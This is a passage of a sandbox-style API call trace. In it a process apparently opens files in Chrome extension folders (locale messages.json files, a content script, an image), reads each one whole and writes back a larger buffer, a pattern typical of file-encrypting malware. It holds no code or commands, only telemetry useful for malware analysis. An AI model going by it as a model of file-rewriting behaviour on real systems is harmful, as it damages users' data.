SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0051.186] WriteFile (in: hFile=0x1a8, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x665, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x665, lpOverlapped=0x0) returned 1 [0051.186] CloseHandle (hObject=0x1a8) returned 1 [0051.187] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0051.187] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.187] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xd8 [0051.187] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.187] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.187] ReleaseMutex (hMutex=0x128) returned 1 [0051.187] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.187] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.187] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c4ea8, nNumberOfBytesToRead=0xd8, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4ea8*, lpNumberOfBytesRead=0x354f2bc*=0xd8, lpOverlapped=0x0) returned 1 [0051.188] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0051.188] WriteFile (in: hFile=0x1a8, lpBuffer=0x2640408*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2640408*, lpNumberOfBytesWritten=0x354f2d0*=0x660, lpOverlapped=0x0) returned 1 [0051.188] CloseHandle (hObject=0x1a8) returned 1 [0051.189] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0051.764] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.764] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1103 [0051.765] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.765] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.772] ReleaseMutex (hMutex=0x128) returned 1 [0051.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="contentscript_bin_prod.js", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0051.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="contentscript_bin_prod.js", cchWideChar=25, lpMultiByteStr=0x1e7fb1c, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="contentscript_bin_prod.js", lpUsedDefaultChar=0x0) returned 25 [0051.772] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1103, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f2bc*=0x1103, lpOverlapped=0x0) returned 1 [0051.807] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0051.808] WriteFile (in: hFile=0x1b0, lpBuffer=0x261c938*, nNumberOfBytesToWrite=0x168b, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261c938*, lpNumberOfBytesWritten=0x354f2d0*=0x168b, lpOverlapped=0x0) returned 1 [0051.810] CloseHandle (hObject=0x1b0) returned 1 [0051.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0051.810] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.812] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x14b [0051.812] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.812] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.812] ReleaseMutex (hMutex=0x128) returned 1 [0051.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.815] ReadFile (in: hFile=0x1b0, lpBuffer=0x253cad8, nNumberOfBytesToRead=0x14b, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253cad8*, lpNumberOfBytesRead=0x354f2bc*=0x14b, lpOverlapped=0x0) returned 1 [0051.831] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0051.831] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6d3, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x6d3, lpOverlapped=0x0) returned 1 [0051.831] CloseHandle (hObject=0x1b0) returned 1 [0051.832] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0051.835] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.838] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xd4 [0051.838] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.838] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.838] ReleaseMutex (hMutex=0x128) returned 1 [0051.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.838] ReadFile (in: hFile=0x1b0, lpBuffer=0x25617a8, nNumberOfBytesToRead=0xd4, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25617a8*, lpNumberOfBytesRead=0x354f2bc*=0xd4, lpOverlapped=0x0) returned 1 [0051.845] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0051.845] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x65c, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x65c, lpOverlapped=0x0) returned 1 [0051.845] CloseHandle (hObject=0x1b0) returned 1 [0051.845] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0051.846] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.846] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xc8 [0051.846] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.846] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.846] ReleaseMutex (hMutex=0x128) returned 1 [0051.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.846] ReadFile (in: hFile=0x1b0, lpBuffer=0x25617a8, nNumberOfBytesToRead=0xc8, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25617a8*, lpNumberOfBytesRead=0x354f2bc*=0xc8, lpOverlapped=0x0) returned 1 [0051.847] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0051.847] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x650, lpOverlapped=0x0) returned 1 [0051.847] CloseHandle (hObject=0x1b0) returned 1 [0051.847] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0051.848] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.848] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x147 [0051.848] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.848] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.848] ReleaseMutex (hMutex=0x128) returned 1 [0051.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.848] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.848] ReadFile (in: hFile=0x1b0, lpBuffer=0x253cad8, nNumberOfBytesToRead=0x147, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x253cad8*, lpNumberOfBytesRead=0x354f2bc*=0x147, lpOverlapped=0x0) returned 1 [0051.849] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0051.849] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6cf, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x6cf, lpOverlapped=0x0) returned 1 [0051.849] CloseHandle (hObject=0x1b0) returned 1 [0051.849] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0051.850] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.850] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xb1 [0051.850] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.850] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.850] ReleaseMutex (hMutex=0x128) returned 1 [0051.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.850] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.850] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e37188, nNumberOfBytesToRead=0xb1, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37188*, lpNumberOfBytesRead=0x354f2bc*=0xb1, lpOverlapped=0x0) returned 1 [0051.851] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0051.851] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x639, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x639, lpOverlapped=0x0) returned 1 [0051.851] CloseHandle (hObject=0x1b0) returned 1 [0051.851] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0051.852] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.852] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x104 [0051.852] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.852] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.852] ReleaseMutex (hMutex=0x128) returned 1 [0051.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.852] ReadFile (in: hFile=0x1b0, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x354f2bc*=0x104, lpOverlapped=0x0) returned 1 [0051.853] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0051.853] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x68c, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x68c, lpOverlapped=0x0) returned 1 [0051.853] CloseHandle (hObject=0x1b0) returned 1 [0051.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0051.854] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.854] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xb0 [0051.854] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.854] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.854] ReleaseMutex (hMutex=0x128) returned 1 [0051.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.854] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.854] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e37188, nNumberOfBytesToRead=0xb0, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37188*, lpNumberOfBytesRead=0x354f2bc*=0xb0, lpOverlapped=0x0) returned 1 [0051.855] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0051.855] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x638, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x638, lpOverlapped=0x0) returned 1 [0051.855] CloseHandle (hObject=0x1b0) returned 1 [0051.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\flapper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0051.856] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.856] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x112dc [0051.856] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.856] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.856] ReleaseMutex (hMutex=0x128) returned 1 [0051.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flapper.gif", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0051.856] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flapper.gif", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flapper.gif", lpUsedDefaultChar=0x0) returned 11 [0051.856] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0051.857] SetFilePointer (in: hFile=0x1b0, 